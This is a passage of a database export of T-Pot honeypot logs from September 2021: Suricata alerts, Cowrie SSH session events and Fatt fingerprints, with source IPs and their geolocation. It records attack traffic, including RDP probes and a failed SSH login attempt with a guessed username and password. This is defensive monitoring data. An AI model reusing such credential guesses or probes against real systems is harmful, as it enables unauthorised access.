"AAADzAYUFys8wx95oDUw3CIE7OHbiQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 46574, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:38:14.057606Z", "@timestamp": "2021-09-20T11:38:14.057Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......+<..y.50.\\"........(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
30739	94.232.41.165	109.199.241.180	Suricata	2021-09-20 14:37:55.807109+03	2021-09-20 14:45:03.564142+03	{"_id": "qgb_AnwBvYTbRNuEkj43", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:37:55.735655+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": {"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "94.232.41.165", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 459048026847655, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 44221, "dest_port": 3389, "timestamp": "2021-09-20T11:37:55.807109Z", "@timestamp": "2021-09-20T11:37:55.807Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
30740	1.117.219.217	109.199.241.180	Suricata	2021-09-20 14:37:57.855665+03	2021-09-20 14:45:03.565142+03	{"_id": "twb_AnwBvYTbRNuEmj4I", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "1.117.219.217", "dest_ip": "192.168.20.116", "flow_id": 1569937023125207, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 44272, "dest_port": 22, "timestamp": "2021-09-20T11:37:57.855665Z", "@timestamp": "2021-09-20T11:37:57.855Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
30741	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:37:57.604091+03	2021-09-20 14:45:03.566142+03	{"_id": "uAb_AnwBvYTbRNuEmz4b", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "1.117.219.217", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 44272, "timestamp": "2021-09-20T11:37:57.604091", "@timestamp": "2021-09-20T11:37:57.604Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30743	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:37:57.858299+03	2021-09-20 14:45:03.569141+03	{"_id": "vgb_AnwBvYTbRNuEnD5O", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "71b154e0f361", "@version": "1", "timestamp": "2021-09-20T11:37:57.858299Z", "@timestamp": "2021-09-20T11:37:57.858Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
30744	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:37:58.982927+03	2021-09-20 14:45:03.570141+03	{"_id": "vwb_AnwBvYTbRNuEoD42", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.login.failed", "message": "login attempt [moses/moses123] failed", "session": "71b154e0f361", "@version": "1", "password": "moses123", "username": "moses", "timestamp": "2021-09-20T11:37:58.982927Z", "@timestamp": "2021-09-20T11:37:58.982Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30745	190.201.223.33	109.199.241.180	Cowrie	2021-09-20 14:37:54.715237+03	2021-09-20 14:45:03.572142+03	{"_id": "pwb_AnwBvYTbRNuEkD6U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "190.201.223.33", "asn": 8048, "as_org": "CANTV Servicios, Venezuela", "latitude": 8.0, "location": {"lat": 8.0, "lon": -66.0}, "timezone": "America/Caracas", "longitude": -66.0, "country_name": "Venezuela", "country_code2": "VE", "country_code3": "VE", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "190.201.223.33", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "8ab7b0a53d96", "@version": "1", "duration": 5.635409355163574, "timestamp": "2021-09-20T11:37:54.715237Z", "@timestamp": "2021-09-20T11:37:54.715Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
30746	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:37:55.854603+03	2021-09-20 14:45:03.573141+03	{"_id": "qQb_AnwBvYTbRNuEkj43", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:37:55.735655+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "94.232.41.165", "flow_id": 459048026847655, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 44221, "timestamp": "2021-09-20T11:37:55.854603Z", "@timestamp": "2021-09-20T11:37:55.854Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
30747	94.232.41.165	109.199.241.180	Suricata	2021-09-20 14:37:55.925814+03	2021-09-20 14:45:03.575141+03	{"_id": "sQb_AnwBvYTbRNuElj4g", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:37:55.735655+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": {"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "94.232.41.165", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 459048026847655, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 44221, "dest_port": 3389, "timestamp": "2021-09-20T11:37:55.925814Z", "@timestamp": "2021-09-20T11:37:55.925Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
30748	94.232.41.165	109.199.241.180	Suricata	2021-09-20 14:37:55.925814+03	2021-09-20 14:45:03.576142+03	{"_id": "swb_AnwBvYTbRNuElj4g", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:37:55.735655+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": {"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "94.232.41.165", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 459048026847655, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 44221, "dest_port": 3389, "timestamp": "2021-09-20T11:37:55.925814Z", "@timestamp": "2021-09-20T11:37:55.925Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
30749	1.117.219.217	109.199.241.180	Fatt	2021-09-20 14:37:57.85799+03	2021-09-20 14:45:03.578142+03	{"_id": "uQb_AnwBvYTbRNuEmz4b", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "1.117.219.217", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 44272, "dest_port": 22, "timestamp": "2021-09-20T11:37:57.857990", "@timestamp": "2021-09-20T11:37:57.857Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
30750	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:37:57.603157+03	2021-09-20 14:45:03.579142+03	{"_id": "vAb_AnwBvYTbRNuEnD5O", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "71b154e0f361", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:37:57.603157Z", "@timestamp": "2021-09-20T11:37:57.603Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30751	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:38:10.300719+03	2021-09-20 14:45:03.581142+03	{"_id": "yQb_AnwBvYTbRNuEzD7V", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 11575, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1480661833782959, "@version": "1", "in_iface": "enp5s0", "src_port": 48888, "dest_port": 53, "timestamp": "2021-09-20T11:38:10.300719Z", "@timestamp": "2021-09-20T11:38:10.300Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
30752	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:38:10.698243+03	2021-09-20 14:45:03.582142+03	{"_id": "zQb_AnwBvYTbRNuEzT7n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35468, "timestamp": "2021-09-20T11:38:10.698243", "@timestamp": "2021-09-20T11:38:10.698Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
30759	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:38:15.704201+03	2021-09-20 14:45:03.590142+03	{"_id": "9Qb_AnwBvYTbRNuE4j6n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "ade489be2064", "@version": "1", "duration": 1.7521941661834717, "timestamp": "2021-09-20T11:38:15.704201Z", "@timestamp": "2021-09-20T11:38:15.704Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
30753	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:38:10.655866+03	2021-09-20 14:45:03.583142+03	{"_id": "0Ab_AnwBvYTbRNuEzT7p", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35468, "dest_port": 443, "timestamp": "2021-09-20T11:38:10.655866", "@timestamp": "2021-09-20T11:38:10.655Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
